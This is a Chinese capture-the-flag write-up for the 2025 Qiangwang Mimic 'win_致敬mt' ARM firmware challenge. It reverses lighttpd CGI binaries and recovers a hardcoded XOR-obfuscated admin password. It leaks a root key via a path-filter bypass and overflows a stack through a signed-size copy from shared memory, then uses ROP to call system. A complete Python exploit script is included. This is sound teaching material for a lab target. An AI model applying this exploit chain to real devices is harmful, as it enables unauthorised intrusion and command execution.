2025强网拟态-win_致敬mt

参考文章:第八届“强网”拟态防御国际精英挑战赛 - WIN!致敬mt 复现 - Hexo

本地启动

1
2
3
4
5
6
7
8
9
sudo qemu-system-arm \
-M versatilepb \
-m 256 \
-kernel vmlinuz-3.2.0-4-versatile \
-initrd initrd.img-3.2.0-4-versatile \
-hda debian_wheezy_armel_standard.qcow2 \
-append "root=/dev/sda1 console=ttyAMA0" \
-net nic -net user,hostfwd=tcp::80-:80,hostfwd=tcp::4444-:22,hostfwd=tcp::1234-:1234 \
-nographic

其实直接运行

1
./boot.sh

就可以了,但是为了调试和使用ssh传输文件,所以多映射了两个端口出来

分析固件

扫描一下端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
root@debian-armel:~# netstat -anp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:47881 0.0.0.0:* LISTEN 1534/rpc.statd
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 1503/rpcbind
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 2244/lighttpd
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 2273/sshd
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 2199/exim4
tcp6 0 0 :::111 :::* LISTEN 1503/rpcbind
tcp6 0 0 :::80 :::* LISTEN 2244/lighttpd
tcp6 0 0 :::60722 :::* LISTEN 1534/rpc.statd
tcp6 0 0 :::22 :::* LISTEN 2273/sshd
tcp6 0 0 ::1:25 :::* LISTEN 2199/exim4
udp 0 0 0.0.0.0:50958 0.0.0.0:* 1534/rpc.statd
udp 0 0 0.0.0.0:828 0.0.0.0:* 1503/rpcbind
udp 0 0 0.0.0.0:68 0.0.0.0:* 1579/dhclient
udp 0 0 0.0.0.0:48725 0.0.0.0:* 1579/dhclient
udp 0 0 127.0.0.1:862 0.0.0.0:* 1534/rpc.statd
udp 0 0 0.0.0.0:111 0.0.0.0:* 1503/rpcbind
udp6 0 0 :::828 :::* 1503/rpcbind
udp6 0 0 :::49222 :::* 1534/rpc.statd
udp6 0 0 :::111 :::* 1503/rpcbind
udp6 0 0 :::5530 :::* 1579/dhclient

可以发现一个httpd服务

查找一下相关文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
root@debian-armel:/# find . -name "*lighttpd*"
./lib/systemd/system/lighttpd.service
./var/lib/dpkg/info/lighttpd.conffiles
./var/lib/dpkg/info/lighttpd.postrm
./var/lib/dpkg/info/lighttpd.md5sums
./var/lib/dpkg/info/lighttpd.postinst
./var/lib/dpkg/info/lighttpd.preinst
./var/lib/dpkg/info/lighttpd.list
./var/lib/dpkg/info/lighttpd.prerm
./var/cache/lighttpd
./var/cache/lighttpd/compress/index.lighttpd.html-gzip-130683-3585-1760265936
./var/cache/apt/archives/lighttpd_1.4.31-4+deb7u5_armel.deb
./var/www/index.lighttpd.html
./var/log/lighttpd
./usr/lib/lighttpd
./usr/lib/tmpfiles.d/lighttpd.tmpfile.conf
./usr/share/lintian/overrides/lighttpd
./usr/share/lighttpd
./usr/share/man/man8/lighttpd.8.gz
./usr/share/man/man1/lighttpd-enable-mod.1.gz
./usr/share/man/man1/lighttpd-disable-mod.1.gz
./usr/share/doc/lighttpd
./usr/sbin/lighttpd-enable-mod
./usr/sbin/lighttpd-disable-mod
./usr/sbin/lighttpd
./usr/sbin/lighttpd-angel
./etc/rc3.d/S17lighttpd
./etc/init.d/lighttpd
./etc/rc2.d/S17lighttpd
./etc/cron.daily/lighttpd
./etc/lighttpd
./etc/lighttpd/lighttpd.conf
./etc/rc4.d/S17lighttpd
./etc/rc5.d/S17lighttpd
./etc/rc0.d/K01lighttpd
./etc/logrotate.d/lighttpd
./etc/rc1.d/K01lighttpd
./etc/rc6.d/K01lighttpd
./run/lighttpd.pid
./run/lighttpd

配置文件在/etc/lighttpd/lighttpd.conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
root@debian-armel:/# cat /etc/lighttpd/lighttpd.conf
server.modules = (
"mod_access",
"mod_alias",
"mod_compress",
"mod_redirect",
# "mod_rewrite",
)

server.document-root = "/var/www"
server.upload-dirs = ( "/var/cache/lighttpd/uploads" )
server.errorlog = "/var/log/lighttpd/error.log"
server.pid-file = "/var/run/lighttpd.pid"
server.username = "www-data"
server.groupname = "www-data"
server.port = 80


index-file.names = ( "index.php", "index.html", "index.lighttpd.html" )
url.access-deny = ( "~", ".inc" )
static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" )

compress.cache-dir = "/var/cache/lighttpd/compress/"
compress.filetype = ( "application/javascript", "text/css", "text/html", "text/plain" )

# 加载设置响应头的模块
server.modules += ( "mod_setenv" )

# 彻底禁用ETag(否则客户端会继续带 If-None-Match)
etag.use-inode = "disable"
etag.use-mtime = "disable"
etag.use-size = "disable"

# 对常见静态资源直接禁用缓存
$HTTP["url"] =~ "\.(html|css|js|png|jpg|gif)$" {
setenv.add-response-header += (
"Cache-Control" => "no-store, no-cache, must-revalidate",
"Pragma" => "no-cache",
"Expires" => "0"
)
}


# default listening port for IPv6 falls back to the IPv4 port
include_shell "/usr/share/lighttpd/use-ipv6.pl " + server.port
include_shell "/usr/share/lighttpd/create-mime.assign.pl"
include_shell "/usr/share/lighttpd/include-conf-enabled.pl"

可以看到服务根目录为:/var/www,服务端口为80,且可以直接访问

屏幕截图 2025-11-15 162218

看一下目录下的文件,很显然是通过cgi来调用外部程序的

1
2
3
4
5
6
root@debian-armel:/var/www# ls
assets cgi-bin index.html index.lighttpd.html js
root@debian-armel:/var/www# cd cgi-bin
root@debian-armel:/var/www/cgi-bin# ls
auth.cgi init.sh manage.cgi session_check.cgi upload.cgi
gdbserver lang.cgi watch

尝试访问其他路由都会跳转到cgi-bin/auth.cgi,且输出Login failed,很显然需要授权认证通过后才可以访问其他路由

auth.cgi

看一下加密逻辑,将输入的密码进行循环加密然后进行base64加密,

image-20251115163633887

而比较的密码和用户名在/tmp/store/users.txt目录下

image-20251115163753885

1
2
root@debian-armel:/var/www/cgi-bin# cat /tmp/store/users.txt
admin:dlZ4bWFsdjUDaiYCeCUqfGYUEhBvFW97dmtxcA==

可以看到只有一个用户为admin,解密一下密文,就可以得到原始密码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import base64

def xor_decrypt(data: bytes, key: str):
key_bytes = key.encode()
key_len = len(key_bytes)
return bytes([data[i] ^ key_bytes[i % key_len] for i in range(len(data))])

def base64_xor_decode(encoded_str: str, key: str):

decoded_data = base64.b64decode(encoded_str)
print(decoded_data)

decrypted_data = xor_decrypt(decoded_data, key)

try:
return decrypted_data.decode('utf-8')
except UnicodeDecodeError:
return decrypted_data

if __name__ == "__main__":
encoded = "dlZ4bWFsdjUDaiYCeCUqfGYUEhBvFW97dmtxcA=="
key = "N1K_ROUT3R"
result = base64_xor_decode(encoded, key)
print("解密结果:", result)

得到密码为8g323##a08h33zx33@!B!$$$$$$$

manage.cgi

这个地方会将参数rktmp/rookey进行比较,如果相等就会进入sub_969c

image-20251115164413577

sub_969c最终会调用attack函数

image-20251115164539115

attack函数会读取tmp/store/id.txt中的id作为size,然后将ptr里的内容拷贝到ptr_里,而ptr里的内容来自share_ptr,这个是一个共享内存

image-20251115164659919

image-20251115164742662

sizeint类型,但是copy函数中是当作unsigned int size来用的,只要size里是个负数,就可以实现拷贝溢出

image-20251115165052250

image-20251115165109006

现在需要考虑的是:

  • 如何创建tmp/rookey并获得里面的key
  • 如何创建tmp/store/id.txt并向里面写入负数
  • 如何向shm中写入溢出的数据以及rop

lang.cgi

1
2
3
root@debian-armel:/var/www# grep -r "id.txt" .
Binary file ./cgi-bin/manage.cgi matches
Binary file ./cgi-bin/lang.cgi matches

检索到lang.cgi中含有id.txt字符串,该程序可以设置id并创建tmp/store/id.txt

image-20251115165651344

image-20251115165741651

watch

1
2
3
root@debian-armel:/var/www# grep -r "rootkey" .
Binary file ./cgi-bin/watch matches
Binary file ./cgi-bin/manage.cgi matches

检索到watch中有rootkey,该程序会创建/tmp/rootkey并向其中写入一个随机密码

image-20251115165952894

upload.cgi

接下来需要想办法泄露rootkey,可以看到在这个程序的download中,会检查path,要求path中””.“后面必须为”/“或者g,还限制了Ss,不知道有啥用,然后要求nik.gif结尾,然是在后续的处理中,只取/tmp/path的前0x60字节处理,然后将其中的内容打印出来,可以通过精心构造./././.....rootkeynik.gif这种path,来绕过检测,并泄露rootkey

image-20251115170247541

写入shm

现在还需要将要溢出的数据写入shm

manage.cgiset_publicfile函数中可以看到,根据参数cnt1cnt2,会将end_buf[cnt1+1]中的字节写入shm[nct2]中,

image-20251115172053386

可以看到end_buf的数据来自ptr,两个写入方式

  • end_buf[n80 + 1] = now_hex_bytes
  • end_buf[81] = ptr[80]

第一种好用,可以一次性写入, 但是前面有一大堆检测,很难绕过,而当n80==80的时候,固定会将ptr[80]写入end_buf[81],也就是可以每次将要写入的字节存放在ptr[80],然后就会固定写入end_buf[81],然后将cnt1设置为80,就会将end_buf[81]写入shm[cnt2]

ptr来自/tmp/store/publicfile.txt,然后将里面的每两个字符解析为一个字节,如61->0x61,也就是只要控制/tmp/store/publicfile.txt里的内容,就可以将要溢出的数据写入shm

image-20251115172607756

1
2
3
root@debian-armel:/var/www# grep -r "publicfile.txt" .
Binary file ./cgi-bin/upload.cgi matches
Binary file ./cgi-bin/manage.cgi matches

可以看到publicfile.txt的写入应该在upload.cgi

其中可以发现upload_pubkey功能,要求写入的内容最大不能超过512个字符

image-20251115174711460

image-20251115174718194

现在所有条件都具备了,只需要溢出rop就好了,而且没有开aslr,gadget也很好找

1
2
root@debian-armel:/var/www/cgi-bin# cat /proc/sys/kernel/randomize_va_space
0

编写exp调试后可以看到,成功溢出,并可以控制程序执行流,将flag写入到了tmp/store/logs.txt中,接下来无论是通过页面访问logs功能,还是发请求访问,都可以看到flag

image-20251115180345106

image-20251115181259329

image-20251115181319402

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
from pwn import *
import requests
from urllib.parse import quote_plus

libc_base=0x0
heap_base=0x0
pie=0x0

def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

r = lambda a : p.recv(a)
rl = lambda a=False : p.recvline(a)
ru = lambda a : p.recvuntil(a)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell = lambda : p.interactive()
li = lambda offset :libc_base+offset
lis= lambda func :libc_base+libc.symbols[func]
pi = lambda offset :pie+offset
he = lambda offset :heap_base+offset
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
ggg = lambda :(gdb.attach(p),pause())

mysession=None
mysid=None
base_url="http://192.168.49.130"

headers = {
"Host": "192.168.49.130",
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": "http://192.168.49.130",
"Referer": "http://192.168.49.130/",
"Connection": "keep-alive"
}

def login(username='admin',password="8g323##a08h33zx33@!B!$$$$$$$"):
global mysession,mysid
url="/cgi-bin/auth.cgi"
mysession=requests.Session()
data=f"username={quote_plus(username)}&password={quote_plus(password)}"
resp=mysession.post(base_url+url,headers=headers,data=data,allow_redirects=False)

mysid=mysession.cookies.get("SID")
print(mysession.cookies)
if not mysid:
info("[-] 登陆失败,未获取到SID")
mysession=None
return False

info(f"[+] 登陆成功,SID={mysid}")

return True

def set_cookies():
if mysid:
mysession.cookies.set("SID",mysid)
info("[+] 设置COOKIE")
else:
info("[-] 未设置SID")
exit(-1)


def send_get(url,params):
set_cookies()
resp=mysession.get(base_url+url,headers=headers,params=params)
return resp.text

def send_post(url,data):
set_cookies()
resp=mysession.post(base_url+url,headers=headers,data=data)
return resp

def creat_rootkey():
return send_get("/cgi-bin/watch",{})

def upload(data):
return send_post("/cgi-bin/upload.cgi",data)

def set_id(params):
return send_get("/cgi-bin/lang.cgi",params)

def manage(data):
return send_post("/cgi-bin/manage.cgi",data)


libc_base=0xb6e8f000
shm_addr=0xb6ffc000
cmd=b"cat /home/ctf/flag > /tmp/store/logs.txt\x00"
system=li(0x38d34)
gadget=li(0x0077924)#.text:00077924 POP {R0,R4,LR};BX LR
rop_padding = b'a' * 80
cmd_addr=shm_addr+len(b'b' * (0x1c+0x8)+p32(gadget)+p32(0)+p32(0)+p32(system))
payload_data = b'b' * (0x1c+0x8)+p32(gadget)+p32(cmd_addr)+b'aaaa'+p32(system)+cmd+b'\x00'*4

def write_shm():
padding_hex = rop_padding.hex()
for i in range(len(payload_data)):
current_byte = payload_data[i]
byte_hex = f'{(current_byte):02x}'
pk_content = padding_hex + byte_hex

info(f"pk_content: {pk_content}")
payload = {
"action": "upload_pubkey",
"filecontent": pk_content,
}
upload(payload)
payload = {
"action": "set_publicfile",
"cnt1": 80,
"cnt2": i,
}
manage(payload)
info(f"[+] 向shm中写入第{i}个字节: 0x{byte_hex} ('{current_byte}')")

def attack(rk):
payload={
"rk":rk,
}
manage(payload)

def redirect_flag_to_log():
creat_rootkey()
suffix="nik.gif"
key="/rootkey"
lenkey=len("/tmp/"+key)+1
file_path="./"*(0x60//2)
file_path=file_path[:0x60-lenkey]+key+suffix
info(len(file_path)-len(suffix))
info(file_path)

payload={
"action":"download",
"path":file_path,
}
rootkey=upload(payload)
info(f"[+] rootkey:{rootkey.text}")
payload={
"setid":"-1",
}

set_id(payload)
info("[+] 成功设置id")

write_shm()
info("[+] 成功写入shm")
attack(rootkey)
info("[+] 实现栈溢出")

def catflag():
payload={
"action":"logs",
}
flag=manage(payload)
print("[+]", flag.text)

login()
redirect_flag_to_log()
sleep(2)
login()
catflag()